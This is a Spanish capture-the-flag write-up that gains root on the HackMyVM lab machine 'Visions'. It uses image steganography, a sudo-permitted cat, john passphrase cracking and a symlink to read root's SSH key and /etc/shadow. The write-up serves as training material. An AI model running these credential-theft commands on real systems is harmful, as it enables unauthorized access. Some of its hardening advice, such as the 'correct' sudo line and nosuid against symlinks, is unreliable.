Ir al contenido

Visions

Este documento detalla la metodología y procedimiento completo para comprometer la máquina Visions, desarrollada por sml para HackMyVM y clasificada con dificultad Beginner. Esta máquina presenta un escenario donde técnicas de esteganografía y mala configuración de permisos sudo permiten una escalada de privilegios progresiva hasta alcanzar acceso root.

La resolución sigue una metodología estructurada:

  1. Reconocimiento: Enumeración de servicios y descubrimiento de información oculta en imágenes.
  2. Explotación: Análisis forense digital con esteganografía y extracción de credenciales.
  3. Escalada de privilegios: Abuso de permisos sudo y explotación de enlaces simbólicos para acceso root.

El entorno de prueba fue desplegado en VirtualBox utilizando una imagen OVA proporcionada por HackMyVM, simulando vulnerabilidades reales en sistemas Linux.


AtributoValor
NombreVisions
Autorsml
DificultadBeginner
Fecha19/04/2021
PlataformaHackMyVM
FormatoImagen OVA
IP Objetivo192.168.100.170

Información de la máquina

Figura 1: Página de información de la máquina Visions en HackMyVM


Descargamos la máquina desde HackMyVM:

Ventana de terminal
# Accedemos a la página de descarga
# https://hackmyvm.eu/machines/machine.php?vm=Visions
# Descargamos el archivo OVA
wget [URL_DESCARGA_OVA] -O Visions.ova

Importamos la imagen OVA en VirtualBox:

Ventana de terminal
# Desde interfaz gráfica o línea de comandos
VBoxManage import Visions.ova --vsys 0 --vmname Visions

Configuramos la máquina para red NAT/Host-Only según sea necesario y la iniciamos:

Ventana de terminal
VBoxManage startvm Visions --type headless

Una vez iniciada la máquina, obtenemos la dirección IP asignada:

Dirección IP objetivo: 192.168.100.170

Creamos una estructura organizada para documentar el proceso:

Ventana de terminal
mkdir -p Visions/{content,exploits,nmap,web,scripts}
cd Visions

Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 192.168.100.170 -oG allPorts

Resultados:

  • 22/tcp — SSH (Secure Shell)
  • 80/tcp — HTTP (Web Server)

Puertos abiertos

Figura 2: Servicios expuestos en la máquina

Realizamos un escaneo más detallado:

Ventana de terminal
nmap -sCV -p22,80 192.168.100.170 -oN detailed_scan.txt

Hallazgos:

  • SSH: OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
  • HTTP: Apache/2.4.52 (Ubuntu)

Accedemos al servicio HTTP en el puerto 80:

Ventana de terminal
curl -s http://192.168.100.170/

Realizamos un escaneo exhaustivo de directorios:

Ventana de terminal
ffuf -u http://192.168.100.170/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-t 100 \
-fc 404

Resultados obtenidos:

  • /index.html — Página principal
  • /white.png — Imagen en formato PNG

Inspeccionamos el código fuente de la página principal:

Ventana de terminal
curl -s http://192.168.100.170/ | html2text

Comentario en código fuente

Figura 3: Comentario revelando nombre de usuario

Hallazgo crítico: Comentario HTML revela el nombre de usuario sophia.

Descargamos la imagen identificada:

Ventana de terminal
wget http://192.168.100.170/white.png

Realizamos análisis exhaustivo de la imagen white.png:

Ventana de terminal
# Verificación básica del archivo
file white.png
exiftool white.png

3.2 Uso de AperiSolve para Análisis Avanzado

Sección titulada «3.2 Uso de AperiSolve para Análisis Avanzado»

Utilizamos AperiSolve, una plataforma en línea que aplica múltiples técnicas de esteganografía y análisis forense:

  1. Subimos la imagen white.png a AperiSolve
  2. Analizamos los resultados de múltiples herramientas integradas:

Hallazgos importantes:

  1. Metadatos EXIF: Metadatos EXIF Figura 4: Comentario en metadatos que sugiere una contraseña

  2. Análisis de capas de imagen: AperiSolve revela que la imagen contiene información oculta en diferentes capas, incluyendo credenciales para el usuario sophia.

Credenciales extraídas:

  • Usuario: sophia
  • Contraseña: [extraída del análisis de capas]

Utilizamos las credenciales descubiertas para acceder por SSH:

Ventana de terminal
ssh sophia@192.168.100.170

Conexión SSH exitosa

Figura 5: Acceso SSH como usuario sophia


Comenzamos la enumeración post-explotación:

Ventana de terminal
whoami
id
pwd
ls -la
Ventana de terminal
sudo -l

Privilegios sudo de sophia

Figura 6: Permisos sudo que permiten leer archivo específico

Hallazgo: (root) /usr/bin/cat /home/isabella/.invisible

4.3 De sophia → Lectura de Clave SSH de isabella

Sección titulada «4.3 De sophia → Lectura de Clave SSH de isabella»

Ejecutamos el comando permitido:

Ventana de terminal
sudo cat /home/isabella/.invisible

Clave SSH privada

Figura 7: Clave SSH privada de isabella

Contenido obtenido: Clave SSH privada protegida con passphrase.

Guardamos la clave en nuestro sistema local y extraemos el hash:

Ventana de terminal
# Copiamos la clave a archivo local
echo "-----BEGIN OPENSSH PRIVATE KEY-----" > id_rsa_isabella
echo "[CONTENIDO_DE_LA_CLAVE]" >> id_rsa_isabella
echo "-----END OPENSSH PRIVATE KEY-----" >> id_rsa_isabella
# Extraemos hash con ssh2john
ssh2john id_rsa_isabella > isabella_hash.txt
# Ataque de fuerza bruta
john --wordlist=/usr/share/wordlists/rockyou.txt isabella_hash.txt

Resultado de John

Figura 8: Passphrase crackeada

Passphrase obtenida: 123456789

Utilizamos la clave con la passphrase crackeada:

Ventana de terminal
chmod 600 id_rsa_isabella
ssh -i id_rsa_isabella isabella@192.168.100.170
# Cuando solicite passphrase: 123456789

Como isabella, verificamos nuestros privilegios:

Ventana de terminal
whoami
sudo -l

Observación: isabella no tiene privilegios sudo directos, pero sophia puede leer .invisible en el directorio de isabella.

4.6.2 Creación de Enlace Simbólico Malicioso

Sección titulada «4.6.2 Creación de Enlace Simbólico Malicioso»

Aprovechamos la capacidad de sophia para leer archivos específicos:

Ventana de terminal
# Como isabella, reemplazamos .invisible
rm /home/isabella/.invisible
# Creamos enlace simbólico a clave SSH de root
ln -s /root/.ssh/id_rsa /home/isabella/.invisible

Volvemos a la sesión de sophia y leemos el archivo vinculado:

Ventana de terminal
# Desde sesión de sophia
sudo cat /home/isabella/.invisible

Resultado: Obtenemos la clave SSH privada de root.

Guardamos la clave en nuestro sistema:

Ventana de terminal
# En máquina atacante
echo "-----BEGIN OPENSSH PRIVATE KEY-----" > id_rsa_root
echo "[CLAVE_SSH_ROOT]" >> id_rsa_root
echo "-----END OPENSSH PRIVATE KEY-----" >> id_rsa_root
chmod 600 id_rsa_root
ssh -i id_rsa_root root@192.168.100.170

Acceso root exitoso

Figura 9: Shell como usuario root obtenida

Ventana de terminal
id
whoami
cat /etc/shadow | head -1

VulnerabilidadSeveridadImpactoCWE/Referencia
Información sensible en metadatos de imagenMediaExposición de pistas/credencialesCWE-200
Credenciales ocultas mediante esteganografía débilAltaCompromiso de cuentasCWE-312
Comentarios en código fuente expuestosBajaRevelación de informaciónCWE-615
Configuración insegura de sudo (cat específico)AltaLectura arbitraria de archivosCWE-269
Claves SSH protegidas con passphrases débilesAltaCompromiso de autenticaciónCWE-521
Enlaces simbólicos sin restriccionesCríticaEscalada de privilegiosCWE-61
Falta de separación de privilegios adecuadaMediaPropagación de accesoCWE-250
  1. Gestión de Metadatos y Esteganografía:

    • Limpiar metadatos de archivos antes de publicarlos
    • Utilizar herramientas como exiftool para remover información sensible
    Ventana de terminal
    exiftool -all= imagen.png
    • Educar a usuarios sobre riesgos de ocultar información en imágenes
    • Implementar escaneo de contenido oculto en archivos subidos
  2. Protección de Credenciales:

    • Evitar almacenar credenciales en imágenes o metadatos
    • Utilizar sistemas de gestión de secretos centralizados
    • Implementar autenticación multifactor
    • Rotar credenciales regularmente
  3. Configuración Segura de Sudo:

    • Especificar comandos exactos con argumentos completos
    • Evitar permisos que permitan lectura arbitraria
    Ventana de terminal
    # INCORRECTO
    sophia ALL=(root) /usr/bin/cat /home/isabella/.invisible
    # CORRECTO (si es necesario)
    sophia ALL=(root) /usr/bin/cat /home/isabella/.invisible --options-especificas
    • Implementar políticas de mínimo privilegio
  4. Gestión de Claves SSH:

    • Utilizar passphrases complejas (mínimo 20 caracteres)
    • Considerar el uso de certificados SSH en lugar de claves estáticas
    • Implementar agentes SSH para gestión segura de claves
    • Rotar claves SSH regularmente
    Ventana de terminal
    # Generar clave SSH segura
    ssh-keygen -t ed25519 -a 100 -f nueva_clave
  5. Protección contra Enlaces Simbólicos:

    • Configurar opciones de montaje con nosuid y nodev
    • Utilizar openat() con O_NOFOLLOW en desarrollos
    • Implementar políticas que restrinjan enlaces simbólicos en áreas sensibles
    // Ejemplo en C para evitar symlink attacks
    fd = open(path, O_RDONLY | O_NOFOLLOW);
  6. Hardening del Sistema de Archivos:

    • Configurar permisos adecuados en directorios de usuarios
    • Implementar SELinux/AppArmor para confinamiento
    • Utilizar sistemas de archivos con capacidades de seguridad mejoradas
    Ventana de terminal
    # Configurar permisos seguros
    chmod 700 /home/isabella
    chmod 600 /home/isabella/.ssh/*
  7. Monitoreo y Detección:

    • Implementar logging de uso de comandos sudo
    • Monitorear creación/modificación de enlaces simbólicos
    • Configurar alertas para accesos no autorizados
    • Realizar auditorías de seguridad periódicas
    Ventana de terminal
    # Configurar auditd para monitorear symlinks
    auditctl -w /home/isabella/.invisible -p wa -k sensitive_symlink
  8. Concienciación y Capacitación:

    • Capacitar a usuarios en higiene de seguridad digital
    • Establecer políticas para manejo de información sensible
    • Realizar ejercicios de respuesta a incidentes
    • Implementar programas de seguridad para administradores